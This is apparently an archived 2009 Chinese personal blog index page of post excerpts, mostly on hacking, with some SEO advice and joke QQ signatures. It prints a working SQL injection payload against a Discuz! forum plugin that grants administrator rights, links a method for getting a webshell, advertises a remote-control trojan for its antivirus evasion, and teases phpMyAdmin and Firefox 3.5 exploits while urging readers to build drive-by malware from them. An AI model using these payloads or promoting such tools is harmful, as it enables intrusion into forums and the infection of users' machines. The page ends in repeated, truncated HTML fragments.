X_Fei_'s blog_百度空间

个人档案

X_Fei_
男, 22岁
河北承德
上次登录：
1个月以前

加为好友

送他礼物

发送消息

给他留言

友情链接

好友最新文章

订阅我的空间

已有人次访问本空间

什么是RSS？

最近访客



Future_2	470601297
依旧张扬	0mocos0
hack_startgo	54741258
x_h168	MAN的寂寞

背景音乐

文章列表

入侵Ecshop商城实战

2009-07-30 18:17

Ecshop是一套网络商城建站系统，主要服务于想快捷搭建商城系统的用户，该系统是个人建立商城的主流软件。

　　在网络上，主要有两种类型的网络购物，一类是像淘宝这样的C2C网站，另一类是像卓越这样的B2C网站。B2C网站除了卓越、当当等大型网站外，还有很多规模较小的B2C网站，由于这些中小型B2C网站数目较大，因此每天的成交量也非常可观。

阅读全文>>

类别：网络技术 | 评论(0) | 浏览()

瑞星承认服务器被攻陷“挂马” 360、金山称愿协助对付黑客

2009-07-28 13:16

7月27日消息在360安全中心发出警报三个小时后，瑞星公司对外承认：瑞星网站服务器遭黑客团伙的报复性攻击，并被植入木马。据网上消息，瑞星已经修复了遭攻击的网站服务器，并将相关证据移交给警方。

　　瑞星表示，这是一起明显的黑客团伙恶意报复行为。一个黑客团伙通过扫描和嗅探，在瑞星官网上找到了薄弱点，对其发动了注入式攻击。瑞星称，幸好由于发现及时，此次攻击并未影响太多普通用户。

　　瑞星官方称，已将相关证据资料上报公安部门，并警告该团伙悬崖勒马，停止对瑞星以及其它网站的攻击。

　　

阅读全文>>

类别：默认分类 | 评论(0) | 浏览()

Tomcat连接池数据库密码加密方法

2009-07-28 12:16

Tomcat 连接池写在server.xml里的数据用户以及密码都是明文，这样非常不安全的，如果一但知道了这个数据库名和密码获得，可想而知。

那么如何实现对数据库密码加密呢，,因为喜欢开源，接下来就奉献给大家。

最开始的想法是通过tomcat的源码从catalina.java这个加载类开始找，看连接池是如何加载的，然后修改这个类，重新ant。后来发现了连接池用的factory类，决定重这个类开始下手。

如果才能把用户名或者是密码使用加密算法进行加密使用呢，这就需要对Tomcat一般依赖dbcp连接池配置。

阅读全文>>

类别：网络技术 | 评论(0) | 浏览()

浅谈怎样提高百度空间排名

2009-07-27 12:51

作者：清晨英语网

我的百度空间排名由一个月前的10000多名暴涨到现在的100多名，最高日访问量37538。谈一下提高百度空间人气的方法，供大家参考。

提高百度空间排名的最重要的两个因素：关键字（词）和链接。

(一）关键字（包括关键字的选择、密度、排序等）

1、关键字的选择

关键字选择的重要性。截止现在，我百度空间里面的2007年河北高考录取时间安排和2007年陕西高考时间安排这两篇文章（第2篇文章少了录取两字）的访问量相差10倍还多，点击量分别是2602和217。可以看出，标题的

阅读全文>>

类别：默认分类 | 评论(3) | 浏览()

milw0rm:曾和平目入侵印度核研究所

2009-07-26 21:22

milw0rm是一个声名远扬的黑客组织。

　　1998年6月3日，他们入侵了印度的核研究的一个主要机构——巴巴原子能研究中心(BARC)，因此名噪一时。该组织主要是出于政治目的发起黑客行动，他们会在被黑的网站上传播无核化议程和其它一些和平信息。他们的口号就是“把权力交还给人民”。

　　对巴巴原子能研究中心的这场攻击在世界范围内引发了激烈的讨论。当今世界上有许多国家都在试图制造和研究核武器，这场攻击

阅读全文>>

类别：默认分类 | 评论(0) | 浏览()

凌云远控2009 免费版2.4.5

2009-07-26 12:59

凌云远控2009 2.4.5免费版介绍:

增强兼容性，修正某些主机因为开启了Windows文件保护运行服务端没反应或者重启不上线的bug

添加反高启发单元，强力反高启发查杀

阅读全文>>

类别：默认分类 | 评论(3) | 浏览()

Discuz!黑道生涯插件注射漏洞

2009-07-25 14:19

插件版本：2.2 2.5

注册一个论坛ID
IE提交下面代码

blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4/

提升到管理员

discuz7.0.0后台得webshell方法
http://www.oldjun.com/blog/index.php/archives/48/

如果是discuz6.0 的后台就提交
admincp.php?action=st

阅读全文>>

类别：网络技术 | 评论(0) | 浏览()

雷人的QQ签名！

2009-07-24 18:42

1、执子之手，方知子丑，泪流满面，子不走我走。

　　2、西游记告诉我们：凡是有后台的妖怪都被接走了，凡是没后台的都被一棒子打死了。

　　3、你有什么不开心的事？说出来让大家开心一下。

　　4、我那么喜欢你，你喜欢我一下会死啊。

　　5、我又不是人民币，怎么能让人人都喜欢我？！

阅读全文>>

类别：默认分类 | 评论(0) | 浏览()

phpMyAdmin注入代码

2009-07-23 00:04

此漏洞代码在以下环境测试通过：
       phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 及 3.0.1.1版本；
       Linux内核版本 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)；
      攻击环境要求：
       phpMyAdm

阅读全文>>

类别：网络技术 | 评论(0) | 浏览()

Mozilla Firefox 3.5 近期的漏洞利用测试代码

2009-07-22 23:50

有能力的人可以根据以下代码写网马
本页可能被杀毒查杀，因为下面是网马测试代码，无任何伤害，请读者放心
1.
Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit

代码:

<html>
<head>
<title>Firefox 3

阅读全文>>

类别：最新漏洞 | 评论(1) | 浏览()

代码:

<html> <head> <title>Firefox 3

<html>
<head>
<title>Firefox 3